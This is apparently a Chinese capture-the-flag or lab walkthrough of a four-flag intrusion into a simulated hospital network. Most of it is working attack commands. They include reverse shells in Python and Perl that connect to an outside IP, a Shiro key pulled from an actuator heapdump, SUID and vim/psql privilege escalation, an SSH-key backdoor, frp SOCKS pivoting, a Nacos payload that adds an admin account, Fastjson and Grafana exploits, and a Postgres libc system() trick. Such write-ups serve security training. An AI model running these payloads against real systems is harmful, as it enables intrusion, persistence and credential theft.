目录
flag1
fscan扫外网
存在actuator泄露
访问/actuator/heapdump下载到heapdump文件
用GitHub - whwlsfb/JDumpSpider: HeapDump敏感信息提取工具提取heapdump信息
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES
拿shiro一把梭工具梭开 注入内存马
连接蚁剑
不能直接读flag文件,走suid提权
find / -user root -perm -4000 -print 2>/dev/null
反弹个shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.136.33",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
起个tty
python3 -c 'import pty; pty.spawn("/bin/bash")'
vim.basic提权读到flag1
vim.basic /root/flag/flag01.txt
vim.basic提权到root
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
然后留ssh公钥后门
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRXVv/6kaHuGC1p4B80RI/61hRgq4PBUbz0D0xPz04qQrCOaLK2X7HoSP6I1HbytFLNXSSbH2GzCZPJE79En3ByfPMkFs5mGOWqmglsCNY6Fa9op9NiIagDUI2BnCPb26UKgBg1hQDVCD8Z/4FeoFm0cXkU/i1ZKpinJ8Tqay0eUt8Qtt4bMDXvfA/U4q5tz+okFUuTmfXMTra1g3EgsHDFyCa9qDfbejMTfQSB5PdjafMk7+AUNqUF4SCUu8B8u9wVqlkTI0L2sIlBv97/2JMks0LtotkpbS77lLNUYcAs7CfRy8hDc+UpD1EF/bmrF6zIB17+M+1lCU/ZaVCXgL9A4WAJI3LM53/mszlkaYqZkwFnwd2O9SWp7lMxT1hzlNT3x1g4K5+ObdN/JcUNu8tJl9ImdmOMRxqw8iuPe4wfGaKvtXGs5T3Dj4IhsLtPGrXTykxZPTeNkRNnushKf714bvUMo10p65/9nHqw/lZBz/q74cjpXuzLi4/oyLTqVWJZcuB/yyf/6aeuP1cpf4knyrwtl3oFD9OVbYo0XxMygyMEhHQrA6o9NoQcvdAJgA4hFwFEYClZufVr6DkTguGF4LRVT+CVXNqjihs7IpkW3QNkgqwj6y/ElKt0gGqb6VL0oYKDR8FddrTd6Ea3b9wUP1hJaNINDFLY1hlzvioTw==" > /root/.ssh/authorized_keys
finalshell连接,这样就可以随时访问,传文件也方便
flag2
传fsacn扫内网
./fscan -h 172.30.12.0/24
发现两个web资产
http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass
http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台
传frp搭隧道
vps上:
frps.ini
[common]
bind_port = 6890
web1上:
frpc.ini
[common]
tls_enable = true
server_addr =124.222.136.33
server_port = 6890
[plugin_socks5]
type = tcp
remote_port = 5001
plugin = socks5
先打nacos
本机上开proxifier访问web2
nacos:nacos登录看到Data id为db-config
用下面这个工具生成恶意jar包
GitHub - charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用
修改 AwesomeScriptEngineFactory.java 的内容
Runtime.getRuntime().exec("net user Z3r4y 0x401@admin /add");
Runtime.getRuntime().exec("net localgroup administrators Z3r4y /add");
运行这个bat文件即可打包为jar
上传至 web01 服务器(flag01 那台),web01 上开启 python 服务
用工具一把梭了GitHub - charonlight/NacosExploitGUI: Nacos漏洞综合利用GUI工具,集成了默认口令漏洞、SQL注入漏洞、身份认证绕过漏洞、反序列化漏洞的检测及其利用
rdp上去拿到flag2
flag3
再打另一个web3
bp开一个socks代理
用bp浏览器打开172.30.12.236:8080,抓包
是以json形式传输数据
用bp插件来打https://github.com/amaz1ngday/fastjson-exp
直接打FastjsonEcho拿到flag3
一样ssh公钥留后门
flag4
ifconfig发现是多网卡
传fscan扫54的内网
./fscan -h 172.30.54.1/24
发现新的资产不同于之前的网段,需要搭建多层代理。
在web1上运行frps
[common]
bind_port = 1000
在web3上运行frpc
[common]
tls_enable = true
server_addr =172.30.12.5
server_port = 1000
[plugin_socks5]
type = tcp
remote_port = 2000
plugin = socks5
成功搭建多层代理
在web3上运行(只有v1.1版本可以)
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
读取到帐号密码 postgres / Postgres@123
proxifier配好代理链
再navicat连上去
后续需要用psql提权,所以先改一下root密码
ALTER USER root WITH PASSWORD '123456';
创建命令执行函数
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
perl反弹shell
select system('perl -e \'use Socket;$i="172.30.54.179";$p=250;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
反弹成功后起个交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l查看到存在psql
打psql提权:psql | GTFOBins
最终读到flag4